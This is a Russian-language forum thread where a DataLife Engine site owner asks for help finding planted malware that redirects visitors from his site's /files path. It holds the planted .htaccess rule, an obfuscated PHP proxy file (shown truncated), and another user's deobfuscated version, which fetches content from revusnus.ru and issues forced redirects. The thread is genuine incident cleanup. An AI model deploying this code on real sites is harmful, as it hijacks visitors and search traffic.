Зловредный код (DLE)

[Alexvin]

Решил посмотреть какие страницы с сайта попали в поиск и обнаружил ссылку на свой сайт с текстом которого там быть не может, его там нет. Кликнул, открылся совсем другой сайт, но в адресной строке мой сайт. И открытый сайт далеко от тематики увиденного текста в поисковике, то намекает на мысль, что кидает на разные сайты периодически.Адрес на котором открываются левые сайты site.ru/files/ Проверил htaccess там ничего не нашел...Помогите найти где сидит зловредный код, в каких файлах смотреть?

 

[Deleted User]

?do=files, смотри в файле 'модуля'

 

[Alexvin]

До меня сразу не доперло, что папки files быть не может(модули кроме DLE форума не стоят), но она есть.В папке два файла:htaccessRewriteEngine OnRewriteCond %{REQUEST_URI} ^\\/files*RewriteRule ^.*$ klient.php [L,QSA]klient.php Показать / Скрыть текст<? $GLOBALS['_233569710_']=Array(base64_decode('c3Ry'.'c3Ry'),base64_decode('c'.'3R'.'y'.'X3'.'JlcG'.'xhY2U='),base64_decode('aGVhZ'.'GVy'),base64_decode('aGVh'.'ZGVy'),base64_decode('aW1hZ2Vj'.'cmVhdGVmcm9'.'tcG5n'),base64_decode('c'.'3'.'Ryc'.'G9z'),base64_decode('c'.'3Rycmlwb3M='),base64_decode('c3'.'Vic3'.'Ry'),base64_decode('c3RybGVu'),base64_decode(''.'ZmxvY2s'.'='),base64_decode('dHJpbQ=='),base64_decode('c3Ry'.'c3Ry'),base64_decode('aGVhZG'.'Vy'),base64_decode('c3'.'Ry'.'c3Ry'),base64_decode('a'.'GVhZ'.'GVy'),base64_decode(''.'c3R'.'yc3'.'Ry'),base64_decode('c3'.'Ryc3R'.'y'),base64_decode(''.'aGVh'.'ZGVy'),base64_decode('c3'.'Ryc3Ry'),base64_decode('aGVhZ'.'GVy'),base64_decode('c3Ryc3Ry'),base64_decode('aGVh'.'ZGV'.'y'),base64_decode('c3Ryc3Ry'),base64_decode('a'.'GVhZG'.'Vy'),base64_decode('c3Ry'.'c3Ry'),base64_decode(''.'aGVhZ'.'GVy'),base64_decode('aGVhZ'.'GV'.'y'),base64_decode('Z'.'nNv'.'Y'.'2tvc'.'GVu'),base64_decode('ZnB1dHM='),base64_decode('ZnB1d'.'HM='),base64_decode(''.'ZnB'.'1dHM='),base64_decode('Z'.'nB1d'.'HM='),base64_decode('Y'.'XBhY2h'.'lX2dldF92ZXJzaW9u'),base64_decode('YXJ'.'yYXlfZGlmZl'.'9rZXk='),base64_decode('ZnB1d'.'HM='),base64_decode('Zm'.'dldHM='),base64_decode('YX'.'JyYX'.'lfa2V5cw='.'='),base64_decode('ZmV'.'v'.'Z'.'g'.'=='),base64_decode('ZmdldHM='),base64_decode('ZmNsb3Nl'),base64_decode('Z'.'mZsdX'.'No'),base64_decode(''.'bXRfcmFuZA='.'='),base64_decode('ZXhwbG9kZQ='.'='),base64_decode(''.'cHJlZ19t'.'YXRjaA=='),base64_decode('aG'.'VhZ'.'GVy'),base64_decode('aG'.'V'.'hZGVy'),base64_decode('a'.'GVhZGVy'),base64_decode('c'.'29ja'.'2'.'V0X2dld'.'HBlZXJu'.'YW1l'),base64_decode('aGVhZGVy'),base64_decode('Z'.'21kYXR'.'l'),base64_decode('a'.'GVhZGVy'),base64_decode('aGVhZGVy'),base64_decode('c3'.'RycG9'.'z'),base64_decode('c3'.'RydmFs'),base64_decode(''.'c2hlbGxfZXhlYw='.'='),base64_decode(''.'c3Ry'.'dG9sb3dlc'.'g'.'==')); ?><? function _1446243013($i){$a=Array('SFRU'.'UF9IT1NU','d'.'3d3','d3d3L'.'g==','','S'.'FRUUF9I'.'T1NU','S'.'FR'.'UUC8x'.'LjEgMzAxIE1vdmVk'.'IFB'.'l'.'cm'.'1'.'hbmVudG'.'x5',''.'TG9'.'jYXRpb246aH'.'R0cDo'.'vLw==','U'.'k'.'VRV'.'UV'.'TVF9'.'VU'.'k'.'k=','Z2N'.'w','L'.'2'.'ZpbGV'.'z','cmV'.'2'.'d'.'X'.'Nud'.'XMucnU=','','aXB'.'1cG9yd'.'W5'.'wa'.'2l1b'.'W'.'l0d3g=','YWpoeg==','ZmlsZXIy','UkVRVU'.'VTVF9VUkk=',''.'L'.'mN'.'z'.'cw'.'==','Q29udGVud'.'C1UeXBlOiB0ZXh0L2'.'NzczsgY2hhcnNldD11dG'.'YtOA==','L'.'nB'.'uZw'.'==','Q'.'29udGV'.'u'.'dC1UeXBl'.'Oi'.'Bpb'.'WFnZS9wbm'.'c=','Lmp'.'w'.'Zw==','Lmpw'.'Z'.'Wc=','Q'.'29u'.'d'.'GVud'.'C1UeXBlOiBpbW'.'F'.'nZS'.'9q'.'cGVn','LmdpZg==',''.'Q29'.'udGVudC1'.'UeXBlOiBp'.'bWFnZS9naWY=','Ln'.'h'.'t'.'bA='.'=','Q'.'29u'.'d'.'G'.'VudC10eXB'.'l'.'OiB0ZXh'.'0'.'L'.'3htbDs'.'gY2hhcnNldD11'.'dGY'.'t'.'O'.'A==','LnR4d'.'A'.'==','Q29udGV'.'udC'.'1UeX'.'BlOiB0ZXh0'.'L3'.'BsYWluOyBj'.'aGFyc2'.'V'.'0PX'.'V0Zi04',''.'cnNz','Q29ud'.'GVu'.'dC10'.'e'.'XB'.'l'.'Oi'.'B0'.'ZXh0L3h'.'tbDsgY'.'2hhcnNldD'.'1'.'1'.'d'.'GY'.'t'.'OA==',''.'Q29'.'udG'.'VudC1UeX'.'BlOiB0ZXh0L2h0b'.'W'.'w7IGN'.'oY'.'XJ'.'zZXQ9dXR'.'mLTg=','',''.'V'.'XNl'.'c'.'i1BZ2VudD'.'og'.'TW96'.'aWxsYS81'.'LjA'.'g'.'KFdpbmRv'.'d3MgT'.'lQgNi4xOyBXT1'.'c2NCkgQXBwbGVX'.'ZW'.'JLaX'.'QvN'.'TM2LjExIChLSF'.'RNTC'.'wgb'.'Gl'.'rZSBHZWNr'.'b'.'ykgQ2hyb'.'21'.'lL'.'zI'.'wLjAuMTEz'.'Mi41'.'NyB'.'T'.'YW'.'Zh'.'cmkvN'.'TM2LjExDQo=',''.'U'.'m'.'VmZXJlcj'.'ogaHR0cDovLw'.'==','SFR'.'UUF9IT1NU','Lw==','Lw0'.'K',''.'Q29ubmVjdGlvb'.'j'.'og'.'Y2xvc2UNCg0K','DQoNCg==','f'.'kxvY2F'.'0aW9uOiA'.'oLiopfg='.'=','RXhwaX'.'Jl'.'czogTW9'.'u'.'LC'.'Ay'.'NiBKdW'.'wgM'.'Tk5'.'NyAw'.'NTow'.'MDo'.'w'.'MCB'.'HTVQ=','Q2F'.'ja'.'G'.'UtQ'.'2'.'9ud'.'HJv'.'bDogbm8'.'tY2FjaGUsIG11c3Qtc'.'mV2YWxpZG'.'F0ZQ='.'=','UHJhZ2'.'1hOiBub'.'y1'.'j'.'Y'.'WN'.'oZQ='.'=','TG'.'FzdC'.'1N'.'b2R'.'p'.'ZmllZD'.'og','RC'.'wgZCBNIFkgSDppOnM=',''.'R01U',''.'SFRUUC8xLjE'.'g'.'MzAxIE1v'.'dmVkIFBl'.'cm1hb'.'mVudGx5','T'.'G9j'.'YXRp'.'b2'.'4'.'6IA'.'==','ZGR0ZWJ1cmNibm'.'x'.'x'.'b3Jn','cWJie'.'g==','ZnN'.'vY2'.'tvcGVuIGVycm9y');return base64_decode($a[$i]);} ?><?php if($GLOBALS['_233569710_'][0]($_SERVER[_1446243013(0)],_1446243013(1))){$_0=$GLOBALS['_233569710_'][1](_1446243013(2),_1446243013(3),$_SERVER[_1446243013(4)]);$GLOBALS['_233569710_'][2](_1446243013(5));$GLOBALS['_233569710_'][3](_1446243013(6) .$_0 .$_SERVER[_1446243013(7)]);$_1=_1446243013(8);exit;}$_2=_1446243013(9);while(round(0+680.4+680.4+680.4+680.4+680.4)-round(0+1701+1701))$GLOBALS['_233569710_'][4]($_2,$_3,$_4);$_4=_1446243013(10);$_5=_1446243013(11);if($GLOBALS['_233569710_'][5](_1446243013(12),_1446243013(13))!==false)$GLOBALS['_233569710_'][6]($_5,$_6,$_5,$_7,$_0);$_6=_1446243013(14);$_8=$GLOBALS['_233569710_'][7]($_SERVER[_1446243013(15)],$GLOBALS['_233569710_'][8]($_2));if((round(0+279.6+279.6+279.6+279.6+279.6)+round(0+339+339+339+339+339))>round(0+349.5+349.5+349.5+349.5)|| $GLOBALS['_233569710_'][9]($_9));else{$GLOBALS['_233569710_'][10]($_0,$_2);}$_10=l__0($_4,$_5 .$_8,$_6,$_2);if($GLOBALS['_233569710_'][11]($_8,_1446243013&#4

 

[sds225]

Alexvin,Pastebin.com

 

[Alexvin]

<? $GLOBALS['_233569710_']=Array(base64_decode('c3Ry'.'c3Ry'),base64_decode('c'. - Pastebin.com

Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.

pastebin.com

 

[sds225]

function send_response&#40;$domain, $uri, $urls, $path&#41; {    $return = &#39;&#39;;    $_14 = @fsockopen&#40;$domain, 80, $_3, $_7&#41;;    if&#40; $_14 &#41; {        @fputs&#40;$_14,&#34;GET {$uri} HTTP/1.0\\r\\n&#34;&#41;;        @fputs&#40;$_14,&#34;Host&#58; {$domain}\\r\\n&#34;&#41;;        @fputs&#40;$_14,&#34;User-Agent&amp;#58; Mozilla/5.0 &#40;Windows NT 6.1; WOW64&#41; AppleWebKit/536.11 &#40;KHTML, like Gecko&#41; Chrome/20.0.1132.57 Safari/536.11\\n&#34;&#41;;        @fputs&#40;$_14,&#39;Referer&#58;; http&#58;//&#39; .$_SERVER&#91;&#39;HTTP_HOST&#39;&#93; .&#39;/&#39; .$urls .$path .&#34;/\\n&#34;&#41;;        @fputs&#40;$_14, &#34;Connection&#58; close\\n\\n&#34;&#41;;        while &#40; !@feof&#40;$_14&#41; &#41; {            $return .= @fgets&#40;$_14, 128&#41;;        }        @fclose&#40;$_14&#41;;        $lineex = explode&#40;&#34;\\n\\n&#34;, $return, 2&#41;;        if&#40; preg_match&#40;&#39;~Location&#58; &#40;.*&#41;~&#39;, $lineex&#91;0&#93;, $_9&#41; &#41; {            header&amp;#40;&#39;Expires&#58; Mon, 26 Jul 1997 05&#58;00&#58;00 GMT&#39;&#41;;            header&amp;#40;&#39;Cache-Control&#58; no-cache, must-revalidate&#39;&#41;;            header&amp;#40;&#39;Pragma&#58; no-cache&#39;&#41;;            header&amp;#40;&#39;Last-Modified&#58; &#39; . gmdate&#40;&#39;D, d M Y H&#58;i&#58;s&#39;&#41; .&#39;GMT&#39;&#41;;            header&amp;#40;&#39;HTTP/1.1 301 Moved Permanently&#39;&#41;;            header&amp;#40;&#39;Location&#58; &#39; . $_9&#91;1&#93;&#41;;            exit;        }        return $lineex&#91;1&#93;;        if&#40; ! shell_exec&#40;$_3, $_4, $_10&#41; &#41; {            strtolower&#40;$_0, $_3&#41;;        }    } else {        return &#39;fsockopen error&#39;;    }}if&#40; strstr&#40;$_SERVER&#91;&#39;HTTP_HOST&#39;&#93;,&#39;www&#39;&#41; &#41;{    $_0 = str_replace&#40;&#39;www.&#39;,&#39;&#39;,$_SERVER&#91;&#39;HTTP_HOST&#39;&#93;&amp;#41;;    header&#40;&#39;HTTP/1.1 301 Moved Permanently&#39;&#41;;    header&#40;&#39;Location&#58; http&#58;//&#39; . $_0 . $_SERVER&#91;&#39;REQUEST_URI&#39;&#93;&#41;;    $_1 = &#39;gcp&#39;;    exit;}$path = &#39;/files&#39;;$domain = &#39;revusnus.ru&#39;;$_5 = &#39;&#39;;$urls = &#39;filer2&#39;;$_8 = substr&#40;$_SERVER&#91;&#39;REQUEST_URI&#39;&#93;, strlen&#40;$path&#41;&#41;;$_10 = send_response&#40;$domain, $_5.$_8, $urls, $path&#41;;if&#40;strstr&#40;$_8,&#39;.css&#39;&#41;&#41; header&#40;&#39;Content-Type&#58; text/css; charset=utf-8&#39;&#41;;else if&#40;strstr&#40;$_8,&#39;.png&#39;&#41;&#41; header&#40;&#39;Content-Type&#58; image/png&#39;&#41;;else if&#40;strstr&#40;$_8,&#39;.jpg&#39;&#41; || strstr&#40;$_8,&#39;.jpeg&#39;&#41;&#41; header&#40;&#39;Content-Type&#58; image/jpeg&#39;&#41;;else if&#40;strstr&#40;$_8,&#39;.gif&#39;&#41;&#41; header&#40;&#39;Content-Type&#58; image/gif&#39;&#41;;else if&#40;strstr&#40;$_8,&#39;.xml&#39;&#41;&#41; header&#40;&#39;Content-type&#58; text/xml; charset=utf-8&#39;&#41;;else if&#40;strstr&#40;$_8,&#39;.txt&#39;&#41;&#41; header&#40;&#39;Content-Type&#58; text/plain; charset=utf-8&#39;&#41;;else if&#40;strstr&#40;$_8,&#39;rss&#39;&#41;&#41; header&#40;&#39;Content-type&#58; text/xml; charset=utf-8&#39;&#41;;else header&#40;&#39;Content-Type&#58; text/html; charset=utf-8&#39;&#41;;echo $_10;http://pastebin.com/raw.php?i=2yrqjK98